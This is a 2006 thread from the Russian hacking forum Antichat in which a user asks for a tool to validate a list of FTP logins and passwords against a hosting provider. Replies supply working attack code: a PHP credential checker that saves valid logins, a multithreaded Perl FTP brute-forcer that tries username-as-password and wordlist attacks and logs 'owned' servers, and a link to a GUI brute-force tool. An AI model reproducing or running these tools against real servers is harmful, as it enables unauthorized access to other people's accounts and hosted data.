Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Ищу скрипт для чекалки фтп на правильность логина и пасса. (https://forum.antichat.xyz/showthread.php?t=27914)

Гаврила 25.11.2006 06:28

Ищу скрипт для чекалки фтп на правильность логина и пасса.
 
Нужен скрипт или прога для чека фтп на правильность логина и пасса.
Чекаться будет один хостер.
Допустим если взять тотал коммандер, то в поле
Имя сервера, будет писацца domain.somehost.com
В поле учетная запись та-же переменная, что и domain, и пароль ( с паролем понятно =))
Может есть такие скрипты, а может кто и возьмётся?

Да, совсем забыл =)
Я буду чекать уже готовый файл с логинами и пассами.
Он будет представлен в формате txt в виде
1;login;pass
2;login;pass
3;login;pass

bul.666 25.11.2006 06:31

Тоесть брут?

bul.666 25.11.2006 06:32

BrutusAE2

Гаврила 25.11.2006 09:24

BrutusAE2 не сможет это сделать.

GreenBear 25.11.2006 09:30

PHP код:

<?php
set_time_limit
(0);
$logins "ftp";

$ftp file($logins);

for(
$i=0;$i<count($ftp);$i++){
    
$check explode(";"$ftp[$i]);
    
$link ftp_connect($check[0], '21',  '15');   //21 - порт, 15 - время ожидания в секундах.
    
if(ftp_login($link$check[1], $check[2])){
        
$fp fopen ("good""a+");
          
fwrite ($fp$check[0].":".$check[1].":".$check[2]."\n");
          
fclose ($fp);
  }
}
?>

это?

Гаврила 25.11.2006 10:02

А куда в нём пихать somehost.com ?

GreenBear 25.11.2006 10:08

в данном случае: somehost.com;login;pass в файле ftp

Гаврила 25.11.2006 10:17

Так немного не удобно будет в моём случае.
Мне важно чтоб файле good после проверки записывалось так:
1;login;pass
5;login;pass
3333;login;pass
и т.д.
Порядковый номер мне тоже важен.
Т.е. я могу скормить скрипту только в таком формате.

KSURi 25.11.2006 17:09

PHP код:

#!perl -w

use strict;
use 
Net::FTP;
use 
threads;

print 
"\n# $0\n# (C)oded by .:[KSURi]:.\n";

print 
"Enable OneSiteMode? [0/1] ";
my $answer=<STDIN>;
chomp($answer);
if(
$answer==1)
{
    
$SIG{INT}=sub { print "\n[i] \$SIG{INT} hooked!"; exit(0); };
    
my $oneSiteMode=<STDIN>,my $oneSiteUser=<STDIN>,my $wordlist=<STDIN>;      
    print 
"\n[i] Bruting ".$oneSiteMode." ...\n";
    
oneSiteBrute($oneSiteMode,$oneSiteUser,$wordlist);
    exit(
0);
}

my $in="sites.txt";
my $out="owned.txt";
my $sign="sign.dat";
my $timeout=20;
my $i=0;
my @threads=();
open(IN,$in) or exit print "\n[-] Cannot open $in\n";
my @sites=<IN>;
close IN;
open(SIGN,">>$sign");

$SIG{INT}=sub
{
    
undef @threads;
    print 
"\n[i] ".$i." FTP servers owned\n";
    exit(
0);
};

for(
my $thrCtr=0;$thrCtr<=$#sites;$thrCtr++)
{
    if(
$thrCtr==int($#sites/4)||$thrCtr==int($#sites/3)||$thrCtr==int($#sites/2))
    
{
        print 
"\n\n[~] No new new threads for ".$timeout." secs\n";
        
sleep($timeout);
        print 
"\n[~] Starting new threads\n\n";
    }
    
$threads[$thrCtr]=threads->new(\&try,$sites[$thrCtr]);
    
$threads[$thrCtr]->detach();
}

while(-
s $sign!=$#threads) { sleep(1) }
close SIGN;
unlink $sign;
undef @threads;
    
sub try
{
    
my $site=shift;
    
chomp($site);
    print 
$site."... ";
    if(
my $conn=Net::FTP->new($siteDebug=>0))
    {
        
my($string,undef)=split('\.',$site);
        if(
$conn->login($string,$string))
        {
            
open(OUT,">>$out") or print "OK (Not logged)\n";
            print 
OUT $site."\:".$string."\:".$string."\n";
            
close OUT;
            print 
"OK\n";
            
$i++;
            
undef $conn;
        }
        
elsif($conn->login(reverse($string),reverse($string)))
        {
            
open(OUT,">>$out") or print "OK (Not logged)\n";
            print 
OUT $site."\:".$string."\:".$string."\n";
            
close OUT;
            print 
"OK\n";
            
$i++;
            
undef $conn;
        }
        else
        {
            print 
"FAILED\n";
            
undef $conn;
        }
    }
    else
    {
        print 
"FAILED\n";
        
undef $conn;
    }
    print 
SIGN "x";
}

sub oneSiteBrute
{
    
my($site,$user,$wordlist)=@_;
    
open(WORDS,$wordlist) or exit print "\n[-] Cannot open wordlist [".$wordlist."]\n";
    while(<
WORDS>)
    {
        
my $conn=Net::FTP->new($site,Debug=>0) or exit print "\n[-] Cannot connect to".$site."\n";# if(!$conn);
        
if($conn->login($user,chomp($_)))
        {
            print 
"\n[+] PASSWORD FOUND: ".$_."\n";
        }
    }
    
close WORDS;
}

# ftp_bruter v2.5.pl
# (C)oded by .:[KSURi]:. 

Вот мой старый сорец - пользуйся. Только советую его подредактировать тк код не рационален(

genom-- 25.11.2006 20:49

http://gfs-team.ru/downloads/FTP-BruteForce.rar

во тож брутер но уже не скрипт а с гуи интерфейсам


Время: 22:02